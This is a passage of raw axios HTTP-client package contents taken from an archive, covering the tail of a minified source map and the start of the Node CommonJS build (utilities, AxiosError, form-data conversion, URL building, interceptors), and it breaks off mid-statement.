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"}node/axios.cjs000064400000371032151677271550007343 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors 'use strict'; const FormData$1 = require('form-data'); const url = require('url'); const proxyFromEnv = require('proxy-from-env'); const http = require('http'); const https = require('https'); const util = require('util'); const followRedirects = require('follow-redirects'); const zlib = require('zlib'); const stream = require('stream'); const events = require('events'); function _interopDefaultLegacy (e) { return e && typeof e === 'object' && 'default' in e ? e : { 'default': e }; } const FormData__default = /*#__PURE__*/_interopDefaultLegacy(FormData$1); const url__default = /*#__PURE__*/_interopDefaultLegacy(url); const http__default = /*#__PURE__*/_interopDefaultLegacy(http); const https__default = /*#__PURE__*/_interopDefaultLegacy(https); const util__default = /*#__PURE__*/_interopDefaultLegacy(util); const followRedirects__default = /*#__PURE__*/_interopDefaultLegacy(followRedirects); const zlib__default = /*#__PURE__*/_interopDefaultLegacy(zlib); const stream__default = /*#__PURE__*/_interopDefaultLegacy(stream); function bind(fn, thisArg) { return function wrap() { return fn.apply(thisArg, arguments); }; } // utils is a library of generic helper functions non-specific to axios const {toString} = Object.prototype; const {getPrototypeOf} = Object; const kindOf = (cache => thing => { const str = toString.call(thing); return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase()); })(Object.create(null)); const kindOfTest = (type) => { type = type.toLowerCase(); return (thing) => kindOf(thing) === type }; const typeOfTest = type => thing => typeof thing === type; /** * Determine if a value is an Array * * @param {Object} val The value to test * * @returns {boolean} True if value is an Array, otherwise false */ const {isArray} = Array; /** * Determine if a value is undefined * * @param {*} val The value to test * * @returns {boolean} True if the value is undefined, otherwise false */ const isUndefined = typeOfTest('undefined'); /** * Determine if a value is a Buffer * * @param {*} val The value to test * * @returns {boolean} True if value is a Buffer, otherwise false */ function isBuffer(val) { return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor) && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val); } /** * Determine if a value is an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is an ArrayBuffer, otherwise false */ const isArrayBuffer = kindOfTest('ArrayBuffer'); /** * Determine if a value is a view on an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false */ function isArrayBufferView(val) { let result; if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) { result = ArrayBuffer.isView(val); } else { result = (val) && (val.buffer) && (isArrayBuffer(val.buffer)); } return result; } /** * Determine if a value is a String * * @param {*} val The value to test * * @returns {boolean} True if value is a String, otherwise false */ const isString = typeOfTest('string'); /** * Determine if a value is a Function * * @param {*} val The value to test * @returns {boolean} True if value is a Function, otherwise false */ const isFunction = typeOfTest('function'); /** * Determine if a value is a Number * * @param {*} val The value to test * * @returns {boolean} True if value is a Number, otherwise false */ const isNumber = typeOfTest('number'); /** * Determine if a value is an Object * * @param {*} thing The value to test * * @returns {boolean} True if value is an Object, otherwise false */ const isObject = (thing) => thing !== null && typeof thing === 'object'; /** * Determine if a value is a Boolean * * @param {*} thing The value to test * @returns {boolean} True if value is a Boolean, otherwise false */ const isBoolean = thing => thing === true || thing === false; /** * Determine if a value is a plain Object * * @param {*} val The value to test * * @returns {boolean} True if value is a plain Object, otherwise false */ const isPlainObject = (val) => { if (kindOf(val) !== 'object') { return false; } const prototype = getPrototypeOf(val); return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val); }; /** * Determine if a value is a Date * * @param {*} val The value to test * * @returns {boolean} True if value is a Date, otherwise false */ const isDate = kindOfTest('Date'); /** * Determine if a value is a File * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ const isFile = kindOfTest('File'); /** * Determine if a value is a Blob * * @param {*} val The value to test * * @returns {boolean} True if value is a Blob, otherwise false */ const isBlob = kindOfTest('Blob'); /** * Determine if a value is a FileList * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ const isFileList = kindOfTest('FileList'); /** * Determine if a value is a Stream * * @param {*} val The value to test * * @returns {boolean} True if value is a Stream, otherwise false */ const isStream = (val) => isObject(val) && isFunction(val.pipe); /** * Determine if a value is a FormData * * @param {*} thing The value to test * * @returns {boolean} True if value is an FormData, otherwise false */ const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || // detect form-data instance (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }; /** * Determine if a value is a URLSearchParams object * * @param {*} val The value to test * * @returns {boolean} True if value is a URLSearchParams object, otherwise false */ const isURLSearchParams = kindOfTest('URLSearchParams'); const [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest); /** * Trim excess whitespace off the beginning and end of a string * * @param {String} str The String to trim * * @returns {String} The String freed of excess whitespace */ const trim = (str) => str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ''); /** * Iterate over an Array or an Object invoking a function for each item. * * If `obj` is an Array callback will be called passing * the value, index, and complete array for each item. * * If 'obj' is an Object callback will be called passing * the value, key, and complete object for each property. * * @param {Object|Array} obj The object to iterate * @param {Function} fn The callback to invoke for each item * * @param {Boolean} [allOwnKeys = false] * @returns {any} */ function forEach(obj, fn, {allOwnKeys = false} = {}) { // Don't bother if no value provided if (obj === null || typeof obj === 'undefined') { return; } let i; let l; // Force an array if not already something iterable if (typeof obj !== 'object') { /*eslint no-param-reassign:0*/ obj = [obj]; } if (isArray(obj)) { // Iterate over array values for (i = 0, l = obj.length; i < l; i++) { fn.call(null, obj[i], i, obj); } } else { // Iterate over object keys const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj); const len = keys.length; let key; for (i = 0; i < len; i++) { key = keys[i]; fn.call(null, obj[key], key, obj); } } } function findKey(obj, key) { key = key.toLowerCase(); const keys = Object.keys(obj); let i = keys.length; let _key; while (i-- > 0) { _key = keys[i]; if (key === _key.toLowerCase()) { return _key; } } return null; } const _global = (() => { /*eslint no-undef:0*/ if (typeof globalThis !== "undefined") return globalThis; return typeof self !== "undefined" ? self : (typeof window !== 'undefined' ? window : global) })(); const isContextDefined = (context) => !isUndefined(context) && context !== _global; /** * Accepts varargs expecting each argument to be an object, then * immutably merges the properties of each object and returns result. * * When multiple objects contain the same key the later object in * the arguments list will take precedence. * * Example: * * ```js * var result = merge({foo: 123}, {foo: 456}); * console.log(result.foo); // outputs 456 * ``` * * @param {Object} obj1 Object to merge * * @returns {Object} Result of all merge properties */ function merge(/* obj1, obj2, obj3, ... */) { const {caseless} = isContextDefined(this) && this || {}; const result = {}; const assignValue = (val, key) => { const targetKey = caseless && findKey(result, key) || key; if (isPlainObject(result[targetKey]) && isPlainObject(val)) { result[targetKey] = merge(result[targetKey], val); } else if (isPlainObject(val)) { result[targetKey] = merge({}, val); } else if (isArray(val)) { result[targetKey] = val.slice(); } else { result[targetKey] = val; } }; for (let i = 0, l = arguments.length; i < l; i++) { arguments[i] && forEach(arguments[i], assignValue); } return result; } /** * Extends object a by mutably adding to it the properties of object b. * * @param {Object} a The object to be extended * @param {Object} b The object to copy properties from * @param {Object} thisArg The object to bind function to * * @param {Boolean} [allOwnKeys] * @returns {Object} The resulting value of object a */ const extend = (a, b, thisArg, {allOwnKeys}= {}) => { forEach(b, (val, key) => { if (thisArg && isFunction(val)) { a[key] = bind(val, thisArg); } else { a[key] = val; } }, {allOwnKeys}); return a; }; /** * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM) * * @param {string} content with BOM * * @returns {string} content value without BOM */ const stripBOM = (content) => { if (content.charCodeAt(0) === 0xFEFF) { content = content.slice(1); } return content; }; /** * Inherit the prototype methods from one constructor into another * @param {function} constructor * @param {function} superConstructor * @param {object} [props] * @param {object} [descriptors] * * @returns {void} */ const inherits = (constructor, superConstructor, props, descriptors) => { constructor.prototype = Object.create(superConstructor.prototype, descriptors); constructor.prototype.constructor = constructor; Object.defineProperty(constructor, 'super', { value: superConstructor.prototype }); props && Object.assign(constructor.prototype, props); }; /** * Resolve object with deep prototype chain to a flat object * @param {Object} sourceObj source object * @param {Object} [destObj] * @param {Function|Boolean} [filter] * @param {Function} [propFilter] * * @returns {Object} */ const toFlatObject = (sourceObj, destObj, filter, propFilter) => { let props; let i; let prop; const merged = {}; destObj = destObj || {}; // eslint-disable-next-line no-eq-null,eqeqeq if (sourceObj == null) return destObj; do { props = Object.getOwnPropertyNames(sourceObj); i = props.length; while (i-- > 0) { prop = props[i]; if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) { destObj[prop] = sourceObj[prop]; merged[prop] = true; } } sourceObj = filter !== false && getPrototypeOf(sourceObj); } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype); return destObj; }; /** * Determines whether a string ends with the characters of a specified string * * @param {String} str * @param {String} searchString * @param {Number} [position= 0] * * @returns {boolean} */ const endsWith = (str, searchString, position) => { str = String(str); if (position === undefined || position > str.length) { position = str.length; } position -= searchString.length; const lastIndex = str.indexOf(searchString, position); return lastIndex !== -1 && lastIndex === position; }; /** * Returns new array from array like object or null if failed * * @param {*} [thing] * * @returns {?Array} */ const toArray = (thing) => { if (!thing) return null; if (isArray(thing)) return thing; let i = thing.length; if (!isNumber(i)) return null; const arr = new Array(i); while (i-- > 0) { arr[i] = thing[i]; } return arr; }; /** * Checking if the Uint8Array exists and if it does, it returns a function that checks if the * thing passed in is an instance of Uint8Array * * @param {TypedArray} * * @returns {Array} */ // eslint-disable-next-line func-names const isTypedArray = (TypedArray => { // eslint-disable-next-line func-names return thing => { return TypedArray && thing instanceof TypedArray; }; })(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array)); /** * For each entry in the object, call the function with the key and value. * * @param {Object<any, any>} obj - The object to iterate over. * @param {Function} fn - The function to call for each entry. * * @returns {void} */ const forEachEntry = (obj, fn) => { const generator = obj && obj[Symbol.iterator]; const iterator = generator.call(obj); let result; while ((result = iterator.next()) && !result.done) { const pair = result.value; fn.call(obj, pair[0], pair[1]); } }; /** * It takes a regular expression and a string, and returns an array of all the matches * * @param {string} regExp - The regular expression to match against. * @param {string} str - The string to search. * * @returns {Array<boolean>} */ const matchAll = (regExp, str) => { let matches; const arr = []; while ((matches = regExp.exec(str)) !== null) { arr.push(matches); } return arr; }; /* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */ const isHTMLForm = kindOfTest('HTMLFormElement'); const toCamelCase = str => { return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g, function replacer(m, p1, p2) { return p1.toUpperCase() + p2; } ); }; /* Creating a function that will check if an object has a property. */ const hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype); /** * Determine if a value is a RegExp object * * @param {*} val The value to test * * @returns {boolean} True if value is a RegExp object, otherwise false */ const isRegExp = kindOfTest('RegExp'); const reduceDescriptors = (obj, reducer) => { const descriptors = Object.getOwnPropertyDescriptors(obj); const reducedDescriptors = {}; forEach(descriptors, (descriptor, name) => { let ret; if ((ret = reducer(descriptor, name, obj)) !== false) { reducedDescriptors[name] = ret || descriptor; } }); Object.defineProperties(obj, reducedDescriptors); }; /** * Makes all methods read-only * @param {Object} obj */ const freezeMethods = (obj) => { reduceDescriptors(obj, (descriptor, name) => { // skip restricted props in strict mode if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) { return false; } const value = obj[name]; if (!isFunction(value)) return; descriptor.enumerable = false; if ('writable' in descriptor) { descriptor.writable = false; return; } if (!descriptor.set) { descriptor.set = () => { throw Error('Can not rewrite read-only method \'' + name + '\''); }; } }); }; const toObjectSet = (arrayOrString, delimiter) => { const obj = {}; const define = (arr) => { arr.forEach(value => { obj[value] = true; }); }; isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter)); return obj; }; const noop = () => {}; const toFiniteNumber = (value, defaultValue) => { return value != null && Number.isFinite(value = +value) ? value : defaultValue; }; const ALPHA = 'abcdefghijklmnopqrstuvwxyz'; const DIGIT = '0123456789'; const ALPHABET = { DIGIT, ALPHA, ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT }; const generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => { let str = ''; const {length} = alphabet; while (size--) { str += alphabet[Math.random() * length|0]; } return str; }; /** * If the thing is a FormData object, return true, otherwise return false. * * @param {unknown} thing - The thing to check. * * @returns {boolean} */ function isSpecCompliantForm(thing) { return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]); } const toJSONObject = (obj) => { const stack = new Array(10); const visit = (source, i) => { if (isObject(source)) { if (stack.indexOf(source) >= 0) { return; } if(!('toJSON' in source)) { stack[i] = source; const target = isArray(source) ? [] : {}; forEach(source, (value, key) => { const reducedValue = visit(value, i + 1); !isUndefined(reducedValue) && (target[key] = reducedValue); }); stack[i] = undefined; return target; } } return source; }; return visit(obj, 0); }; const isAsyncFn = kindOfTest('AsyncFunction'); const isThenable = (thing) => thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch); const utils$1 = { isArray, isArrayBuffer, isBuffer, isFormData, isArrayBufferView, isString, isNumber, isBoolean, isObject, isPlainObject, isReadableStream, isRequest, isResponse, isHeaders, isUndefined, isDate, isFile, isBlob, isRegExp, isFunction, isStream, isURLSearchParams, isTypedArray, isFileList, forEach, merge, extend, trim, stripBOM, inherits, toFlatObject, kindOf, kindOfTest, endsWith, toArray, forEachEntry, matchAll, isHTMLForm, hasOwnProperty, hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection reduceDescriptors, freezeMethods, toObjectSet, toCamelCase, noop, toFiniteNumber, findKey, global: _global, isContextDefined, ALPHABET, generateString, isSpecCompliantForm, toJSONObject, isAsyncFn, isThenable }; /** * Create an Error with the specified message, config, error code, request and response. * * @param {string} message The error message. * @param {string} [code] The error code (for example, 'ECONNABORTED'). * @param {Object} [config] The config. * @param {Object} [request] The request. * @param {Object} [response] The response. * * @returns {Error} The created error. */ function AxiosError(message, code, config, request, response) { Error.call(this); if (Error.captureStackTrace) { Error.captureStackTrace(this, this.constructor); } else { this.stack = (new Error()).stack; } this.message = message; this.name = 'AxiosError'; code && (this.code = code); config && (this.config = config); request && (this.request = request); response && (this.response = response); } utils$1.inherits(AxiosError, Error, { toJSON: function toJSON() { return { // Standard message: this.message, name: this.name, // Microsoft description: this.description, number: this.number, // Mozilla fileName: this.fileName, lineNumber: this.lineNumber, columnNumber: this.columnNumber, stack: this.stack, // Axios config: utils$1.toJSONObject(this.config), code: this.code, status: this.response && this.response.status ? this.response.status : null }; } }); const prototype$1 = AxiosError.prototype; const descriptors = {}; [ 'ERR_BAD_OPTION_VALUE', 'ERR_BAD_OPTION', 'ECONNABORTED', 'ETIMEDOUT', 'ERR_NETWORK', 'ERR_FR_TOO_MANY_REDIRECTS', 'ERR_DEPRECATED', 'ERR_BAD_RESPONSE', 'ERR_BAD_REQUEST', 'ERR_CANCELED', 'ERR_NOT_SUPPORT', 'ERR_INVALID_URL' // eslint-disable-next-line func-names ].forEach(code => { descriptors[code] = {value: code}; }); Object.defineProperties(AxiosError, descriptors); Object.defineProperty(prototype$1, 'isAxiosError', {value: true}); // eslint-disable-next-line func-names AxiosError.from = (error, code, config, request, response, customProps) => { const axiosError = Object.create(prototype$1); utils$1.toFlatObject(error, axiosError, function filter(obj) { return obj !== Error.prototype; }, prop => { return prop !== 'isAxiosError'; }); AxiosError.call(axiosError, error.message, code, config, request, response); axiosError.cause = error; axiosError.name = error.name; customProps && Object.assign(axiosError, customProps); return axiosError; }; /** * Determines if the given thing is a array or js object. * * @param {string} thing - The object or array to be visited. * * @returns {boolean} */ function isVisitable(thing) { return utils$1.isPlainObject(thing) || utils$1.isArray(thing); } /** * It removes the brackets from the end of a string * * @param {string} key - The key of the parameter. * * @returns {string} the key without the brackets. */ function removeBrackets(key) { return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key; } /** * It takes a path, a key, and a boolean, and returns a string * * @param {string} path - The path to the current key. * @param {string} key - The key of the current object being iterated over. * @param {string} dots - If true, the key will be rendered with dots instead of brackets. * * @returns {string} The path to the current key. */ function renderKey(path, key, dots) { if (!path) return key; return path.concat(key).map(function each(token, i) { // eslint-disable-next-line no-param-reassign token = removeBrackets(token); return !dots && i ? '[' + token + ']' : token; }).join(dots ? '.' : ''); } /** * If the array is an array and none of its elements are visitable, then it's a flat array. * * @param {Array<any>} arr - The array to check * * @returns {boolean} */ function isFlatArray(arr) { return utils$1.isArray(arr) && !arr.some(isVisitable); } const predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) { return /^is[A-Z]/.test(prop); }); /** * Convert a data object to FormData * * @param {Object} obj * @param {?Object} [formData] * @param {?Object} [options] * @param {Function} [options.visitor] * @param {Boolean} [options.metaTokens = true] * @param {Boolean} [options.dots = false] * @param {?Boolean} [options.indexes = false] * * @returns {Object} **/ /** * It converts an object into a FormData object * * @param {Object<any, any>} obj - The object to convert to form data. * @param {string} formData - The FormData object to append to. * @param {Object<string, any>} options * * @returns */ function toFormData(obj, formData, options) { if (!utils$1.isObject(obj)) { throw new TypeError('target must be an object'); } // eslint-disable-next-line no-param-reassign formData = formData || new (FormData__default["default"] || FormData)(); // eslint-disable-next-line no-param-reassign options = utils$1.toFlatObject(options, { metaTokens: true, dots: false, indexes: false }, false, function defined(option, source) { // eslint-disable-next-line no-eq-null,eqeqeq return !utils$1.isUndefined(source[option]); }); const metaTokens = options.metaTokens; // eslint-disable-next-line no-use-before-define const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob; const useBlob = _Blob && utils$1.isSpecCompliantForm(formData); if (!utils$1.isFunction(visitor)) { throw new TypeError('visitor must be a function'); } function convertValue(value) { if (value === null) return ''; if (utils$1.isDate(value)) { return value.toISOString(); } if (!useBlob && utils$1.isBlob(value)) { throw new AxiosError('Blob is not supported. Use a Buffer instead.'); } if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) { return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value); } return value; } /** * Default visitor. * * @param {*} value * @param {String|Number} key * @param {Array<String|Number>} path * @this {FormData} * * @returns {boolean} return true to visit the each prop of the value recursively */ function defaultVisitor(value, key, path) { let arr = value; if (value && !path && typeof value === 'object') { if (utils$1.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } else if ( (utils$1.isArray(value) && isFlatArray(value)) || ((utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value)) )) { // eslint-disable-next-line no-param-reassign key = removeBrackets(key); arr.forEach(function each(el, index) { !(utils$1.isUndefined(el) || el === null) && formData.append( // eslint-disable-next-line no-nested-ternary indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'), convertValue(el) ); }); return false; } } if (isVisitable(value)) { return true; } formData.append(renderKey(path, key, dots), convertValue(value)); return false; } const stack = []; const exposedHelpers = Object.assign(predicates, { defaultVisitor, convertValue, isVisitable }); function build(value, path) { if (utils$1.isUndefined(value)) return; if (stack.indexOf(value) !== -1) { throw Error('Circular reference detected in ' + path.join('.')); } stack.push(value); utils$1.forEach(value, function each(el, key) { const result = !(utils$1.isUndefined(el) || el === null) && visitor.call( formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers ); if (result === true) { build(el, path ? path.concat(key) : [key]); } }); stack.pop(); } if (!utils$1.isObject(obj)) { throw new TypeError('data must be an object'); } build(obj); return formData; } /** * It encodes a string by replacing all characters that are not in the unreserved set with * their percent-encoded equivalents * * @param {string} str - The string to encode. * * @returns {string} The encoded string. */ function encode$1(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); } /** * It takes a params object and converts it to a FormData object * * @param {Object<string, any>} params - The parameters to be converted to a FormData object. * @param {Object<string, any>} options - The options object passed to the Axios constructor. * * @returns {void} */ function AxiosURLSearchParams(params, options) { this._pairs = []; params && toFormData(params, this, options); } const prototype = AxiosURLSearchParams.prototype; prototype.append = function append(name, value) { this._pairs.push([name, value]); }; prototype.toString = function toString(encoder) { const _encode = encoder ? function(value) { return encoder.call(this, value, encode$1); } : encode$1; return this._pairs.map(function each(pair) { return _encode(pair[0]) + '=' + _encode(pair[1]); }, '').join('&'); }; /** * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their * URI encoded counterparts * * @param {string} val The value to be encoded. * * @returns {string} The encoded value. */ function encode(val) { return encodeURIComponent(val). replace(/%3A/gi, ':'). replace(/%24/g, '$'). replace(/%2C/gi, ','). replace(/%20/g, '+'). replace(/%5B/gi, '['). replace(/%5D/gi, ']'); } /** * Build a URL by appending params to the end * * @param {string} url The base of the url (e.g., http://www.google.com) * @param {object} [params] The params to be appended * @param {?object} options * * @returns {string} The formatted url */ function buildURL(url, params, options) { /*eslint no-param-reassign:0*/ if (!params) { return url; } const _encode = options && options.encode || encode; const serializeFn = options && options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, options); } else { serializedParams = utils$1.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, options).toString(_encode); } if (serializedParams) { const hashmarkIndex = url.indexOf("#"); if (hashmarkIndex !== -1) { url = url.slice(0, hashmarkIndex); } url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams; } return url; } class InterceptorManager { constructor() { this.handlers = []; } /** * Add a new interceptor to the stack * * @param {Function} fulfilled The function to handle `then` for a `Promise` * @param {Function} rejected The function to handle `reject` for a `Promise` * * @return {Number} An ID used to remove interceptor later */ use(fulfilled, rejected, options) { this.handlers.push({ fulfilled, rejected, synchronous: options ? options.synchronous : false, runWhen: options ? options.runWhen : null }); return this.handlers.length - 1; } /** * Remove an interceptor from the stack * * @param {Number} id The ID that was returned by `use` * * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise */ eject(id) { if (this.handlers[id]) { this.handlers[id] = null; } } /** * Clear all interceptors from the stack * * @returns {void} */ clear() { if (this.handlers) { this.handlers = []; } } /** * Iterate over all the registered interceptors * * This method is particularly useful for skipping over any * interceptors that may have become `null` calling `eject`. * * @param {Function} fn The function to call for each interceptor * * @returns {void} */ forEach(fn) { utils$1.forEach(this.handlers, function forEachHandler(h) { if (h !== null) { fn(h); } }); } } const InterceptorManager$1 = InterceptorManager; const transitionalDefaults = { silentJSONParsing: true, forcedJSONParsing: true, clarifyTimeoutError: false }; const URLSearchParams = url__default["default"].URLSearchParams; const platform$1 = { isNode: true, classes: { URLSearchParams, FormData: FormData__default["default"], Blob: typeof 